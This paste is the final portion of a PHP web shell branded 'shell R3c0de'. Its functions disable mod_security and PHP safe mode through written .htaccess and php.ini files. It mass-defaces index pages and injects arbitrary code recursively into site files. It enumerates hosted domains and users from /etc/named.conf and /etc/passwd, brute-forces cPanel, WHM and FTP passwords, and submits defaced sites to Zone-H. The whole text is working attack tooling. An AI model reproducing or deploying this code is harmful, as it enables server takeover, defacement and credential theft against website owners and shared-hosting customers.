  1768. elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
  1769. elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
  1770. elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
  1771. elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
  1772. elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
  1773. elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
  1774. elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
  1775. elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1776. elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1777. elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
  1778. elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
  1779. elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
  1780. elseif(strpos($cf16,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1781. elseif(strpos($cf17,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1782. elseif(strpos($cf18,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1783. elseif(strpos($cf19,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1784. elseif(strpos($cf20,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1785. elseif(strpos($cf21,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1786. elseif(strpos($cf22,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
  1787. else {
  1788. continue;
  1789. }
  1790. echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
  1791. flush();
  1792. $l=$l?0:1;
  1793. }
  1794. }
  1795. }
  1796. echo "</table>";
  1797. }
  1798. echo "</center>";
  1799. }
  1800. echo "</div>";
  1801. printFooter();
  1802.  
  1803. }
  1804.  
  1805. function actionBypass() {
  1806. printHeader();
  1807. echo '<h1>Safe Mode</h1>';
  1808. echo '<div class="content">';
  1809. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  1810. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1811. if(!empty($_POST['p2']) && isset($_POST['p2']))
  1812. {
  1813. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1814. fwrite($fil,'<IfModule mod_security.c>
  1815. Sec------Engine Off
  1816. Sec------ScanPOST Off
  1817. </IfModule>');
  1818. fclose($fil);
  1819. }
  1820. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1821. {
  1822. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1823. fwrite($fil,'safe_mode=OFF
  1824. disable_functions=NONE');
  1825. fclose($fil);
  1826. }
  1827. if(!empty($_POST['p3']) && isset($_POST['p3']))
  1828. {
  1829. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1830. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1831. AddType application/x-httpd-cgi .sh
  1832. AddHandler cgi-script .pl
  1833. AddHandler cgi-script .pl');
  1834. fclose($fil);
  1835. }
  1836. echo "<br><br /><br /></div>";
  1837. echo '</div>';
  1838. printFooter();
  1839.  
  1840. }
  1841.  
  1842. function actionDeface() {
  1843. printHeader();
  1844. echo "<h1>Mass Defacer by shell R3c0de</h1><div class=content>";
  1845. ?>
  1846. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
  1847. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
  1848. <br>file name : <input type=text name=file size=20 value="index.php">
  1849. <br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
  1850. <br><input type=submit value="Deface now"></p></form>
  1851.  
  1852. <?php
  1853. if ($_POST['a'] == 'Deface') {
  1854. $mainpath = $_POST[p1];
  1855. $file = $_POST[p2];
  1856. $txtContents = $_POST[p3];
  1857. echo "Mass Defacer script by TeaM shell R3c0de XIIX";
  1858. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  1859. while ($row = readdir($dir)) {
  1860. $start = @fopen("$row/$file", "w+");
  1861. $code = $txtContents;
  1862. $finish = @fwrite($start, $code);
  1863. if ($finish) {
  1864. echo "$row/$file > Done<br><br>";
  1865. }
  1866. }
  1867.  
  1868. }
  1869. echo '</div>';
  1870. printFooter();
  1871. }
  1872.  
  1873. function actionInjector(){
  1874. printHeader();
  1875. echo '<h1>Mass Code Injector</h1>';
  1876. echo '<div class="content">';
  1877.  
  1878. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  1879. function get_structure($path,$depth) {
  1880. global $DS;
  1881. $res = array();
  1882. if(in_array(0, $depth)) { $res[] = $path; }
  1883. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  1884. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  1885. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  1886. }
  1887. if(in_array(2, $depth) or in_array(3, $depth)) {
  1888. $tmp2 = array();
  1889. foreach($tmp1 as $t){
  1890. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1891. $tmp2 = array_merge($tmp2, $tp2);
  1892. }
  1893. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  1894. }
  1895. if(in_array(3, $depth)) {
  1896. $tmp3 = array();
  1897. foreach($tmp2 as $t){
  1898. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1899. $tmp3 = array_merge($tmp3, $tp3);
  1900. }
  1901. $res = array_merge($res,$tmp3);
  1902. }
  1903. return $res;
  1904. }
  1905.  
  1906. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  1907. $name = $_POST['name'] ? $_POST['name'] : '*';
  1908. $type = $_POST['type'] ? $_POST['type'] : 'html';
  1909. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  1910. $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
  1911. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  1912. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  1913. $dt = get_structure($path,$depth);
  1914. foreach ($dt as $d) {
  1915. if($mode == 'a') {
  1916. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  1917. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1918. } else {
  1919. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1920. }
  1921. } else {
  1922. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  1923. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1924. } else {
  1925. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1926. }
  1927. }
  1928. }
  1929. } else {
  1930. echo '<form method="post" action="">
  1931. <table align="center">
  1932. <tr>
  1933. <td>Directory : </td>
  1934. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  1935. </tr>
  1936. <tr>
  1937. <td class="title">Mode : </td>
  1938. <td>
  1939. <select style="width: 100px;" name="mode" class="box">
  1940. <option value="a">Apender</option>
  1941. <option value="w">Overwriter</option>
  1942. </select>
  1943. </td>
  1944. </tr>
  1945. <tr>
  1946. <td class="title">File Name & Type : </td>
  1947. <td>
  1948. <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  1949. <select style="width: 100px;" name="type" class="box">
  1950. <option value="html">HTML</option>
  1951. <option value="htm">HTM</option>
  1952. <option value="php" selected="selected">PHP</option>
  1953. <option value="asp">ASP</option>
  1954. <option value="aspx">ASPX</option>
  1955. <option value="xml">XML</option>
  1956. <option value="txt">TXT</option>
  1957. </select></td>
  1958. </tr>
  1959. <tr>
  1960. <td class="title">Code Inject Depth : </td>
  1961. <td>
  1962. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  1963. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  1964. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  1965. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  1966. </td>
  1967. </tr>
  1968. <tr>
  1969. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  1970. </tr>
  1971. <tr>
  1972. <td colspan="2" style="text-align: center;">
  1973. <input type="hidden" name="a" value="Injector">
  1974. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1975. <input type="hidden" name="p1">
  1976. <input type="hidden" name="p2">
  1977. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1978. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  1979. </tr>
  1980. </table>
  1981. </form>';
  1982. }
  1983. echo '</div>';
  1984. printFooter();
  1985. }
  1986.  
  1987. function actionDomain() {
  1988. printHeader();
  1989. echo '<h1>Local Domains</h1><div class=content>';
  1990. $file = @implode(@file("/etc/named.conf"));
  1991. if (!$file) {
  1992. die("# Can't Read [/etc/named.conf] ... Sorry ! :( ");
  1993. }
  1994. preg_match_all("#named/(.*?).db#", $file, $r);
  1995. $domains = array_unique($r[1]);
  1996. //check();
  1997. //if(isset($_GET['ShowAll']))
  1998. {
  1999. echo "<table align=center border=1 width=59% cellpadding=5>
  2000. <tr><td colspan=2>[#] There are : [ <b>" . count($domains) . "</b> ] Domain(s) on this box ... * I Suggest That You Should Pwn it ;) :D*</td></tr>
  2001. <tr><td>Domain</td><td>User</td></tr>";
  2002. foreach ($domains as $domain) {
  2003. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  2004. echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
  2005. }
  2006. echo "</table>";
  2007. }
  2008. echo '</div>';
  2009. printFooter();
  2010. }
  2011. function actionCpanel() {
  2012. printHeader();
  2013. echo '<h1>cPanel Cracker</h1>';
  2014. echo '<div class="content">';
  2015. echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
  2016. echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
  2017. echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
  2018. echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
  2019. echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
  2020. echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
  2021. echo '</tr>';
  2022. echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
  2023. echo '<td colspan="2"><span>Crack options:&nbsp;&nbsp;&nbsp;</span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b>&nbsp;&nbsp;<input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b>&nbsp;&nbsp;<input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
  2024. <div style="margin-top:5px;"><span>Timeout delay:&nbsp;&nbsp;</span><input type="text" name="connect_timeout" size="4" value=""/>&nbsp;&nbsp;
  2025. <input type="checkbox" name="bruteforce" value="true"/>&nbsp;<span>Bruteforce</span>&nbsp;
  2026. <select name="charset">
  2027. <option value="all">All Letters + Numbers</option>
  2028. <option value="numeric">Numbers</option>
  2029. <option value="letters">Letters</option>
  2030. <option value="symbols">Symbols</option>
  2031. <option value="lowercase">Lower Letters</option>
  2032. <option value="uppercase">Higher Letters</option>
  2033. <option value="lowernumeric">Lower Letters + Numbers</option>
  2034. <option value="uppernumeric">Upper Letters + Numbers</option>
  2035. <option value="lowersymbols">Lower Letters + Symbols</option>
  2036. <option value="uppersymbols">Upper Letters + Symbols</option>
  2037. <option value="letterssymbols">All Letters + Symbols</option>
  2038. <option value="numberssymbols">Numbers + Symbols</option>
  2039. <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
  2040. <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
  2041. <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
  2042. </select></div>
  2043. <div style="margin-top:5px;"><span>Min Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="min_length" size="5" value=""/>&nbsp;&nbsp;&nbsp;&nbsp;<span>Max Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="max_length" size="5" value=""/></div>
  2044. <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
  2045. </td></tr>';
  2046. echo '</table>';
  2047. echo '</div>';
  2048. printFooter();
  2049. }
  2050. function actionZHposter(){
  2051. printHeader();
  2052. echo '<h1>Zone-H Notifier</h1><div class=content>';
  2053.  
  2054. echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
  2055. <input type="text" name="p1" size="40" value="shell R3c0de" /></br>
  2056. <select name="p2">
  2057. <option >--------SELECT--------</option>
  2058. <option value="1">known vulnerability (i.e. unpatched system)</option>
  2059. <option value="2" >undisclosed (new) vulnerability</option>
  2060. <option value="3" >configuration / admin. mistake</option>
  2061. <option value="4" >brute force attack</option>
  2062. <option value="5" >social engineering</option>
  2063. <option value="6" >Web Server intrusion</option>
  2064. <option value="7" >Web Server external module intrusion</option>
  2065. <option value="8" >Mail Server intrusion</option>
  2066. <option value="9" >FTP Server intrusion</option>
  2067. <option value="10" >SSH Server intrusion</option>
  2068. <option value="11" >Telnet Server intrusion</option>
  2069. <option value="12" >RPC Server intrusion</option>
  2070. <option value="13" >Shares misconfiguration</option>
  2071. <option value="14" >Other Server intrusion</option>
  2072. <option value="15" >SQL Injection</option>
  2073. <option value="16" >URL Poisoning</option>
  2074. <option value="17" >File Inclusion</option>
  2075. <option value="18" >Other Web Application bug</option>
  2076. <option value="19" >Remote administrative panel access bruteforcing</option>
  2077. <option value="20" >Remote administrative panel access password guessing</option>
  2078. <option value="21" >Remote administrative panel access social engineering</option>
  2079. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  2080. <option value="23" >Access credentials through Man In the Middle attack</option>
  2081. <option value="24" >Remote service password guessing</option>
  2082. <option value="25" >Remote service password bruteforce</option>
  2083. <option value="26" >Rerouting after attacking the Firewall</option>
  2084. <option value="27" >Rerouting after attacking the Router</option>
  2085. <option value="28" >DNS attack through social engineering</option>
  2086. <option value="29" >DNS attack through cache poisoning</option>
  2087. <option value="30" >Not available</option>
  2088. </select>
  2089. </br>
  2090. <select name="p3">
  2091. <option >--------SELECT--------</option>
  2092. <option value="1" >Heh...just for fun!</option>
  2093. <option value="2" >Revenge against that website</option>
  2094. <option value="3" >Political reasons</option>
  2095. <option value="4" >As a challenge</option>
  2096. <option value="5" >I just want to be the best defacer</option>
  2097. <option value="6" >Patriotism</option>
  2098. <option value="7" >Not available</option>
  2099. </select>
  2100. </br>
  2101. <textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
  2102. <input type="submit" value="Send Now !" />
  2103. </form>';
  2104. echo "</td></tr></table></form>";
  2105.  
  2106. if($_POST['a'] == 'ZHposter')
  2107. {
  2108. ob_start();
  2109. $sub = @get_loaded_extensions();
  2110. if(!in_array("curl", $sub))
  2111. {
  2112. die('[-] Curl Is Not Supported !! ');
  2113. }
  2114.  
  2115. $hacker9 = $_POST['p1'];
  2116. $method9 = $_POST['p2'];
  2117. $neden9 = $_POST['p3'];
  2118. $site9 = $_POST['p4'];
  2119.  
  2120. if (empty($hacker9))
  2121. {
  2122. die ("[#] You Must Fill In The Attacker Name !");
  2123. }
  2124. elseif($method9 == "--------SELECT--------")
  2125. {
  2126. die("[#] You Must Select The Method !");
  2127. }
  2128. elseif($neden9 == "--------SELECT--------")
  2129. {
  2130. die("[#] You Must Select The Reason");
  2131. }
  2132. elseif(empty($site9))
  2133. {
  2134. die("[#] You Must Enter the Sites List ! ");
  2135. }
  2136.  
  2137. $i = 0;
  2138. $sites = explode("\n", $site9);
  2139. while($i < count($sites))
  2140. {
  2141.  
  2142. if(substr($sites[$i], 0, 4) != "http")
  2143. {
  2144. $sites[$i] = "http://".$sites[$i];
  2145. }
  2146. ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
  2147. echo "Site : ".$sites[$i]." Defaced ! </br>";
  2148. ++$i;
  2149. }
  2150. echo "[#] Sites Sent To Zone-H :D !! ";
  2151. }
  2152. echo '</div>';
  2153. printFooter();
  2154. }
  2155. if( empty($_POST['a']) )
  2156. if(isset($default_action) && function_exists('action' . $default_action))
  2157. $_POST['a'] = $default_action;
  2158. else
  2159. $_POST['a'] = 'SecInfo';
  2160. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2161. call_user_func('action' . $_POST['a'])
  2162.  
  2163. ?>
Add Comment
Please, Sign In to add comment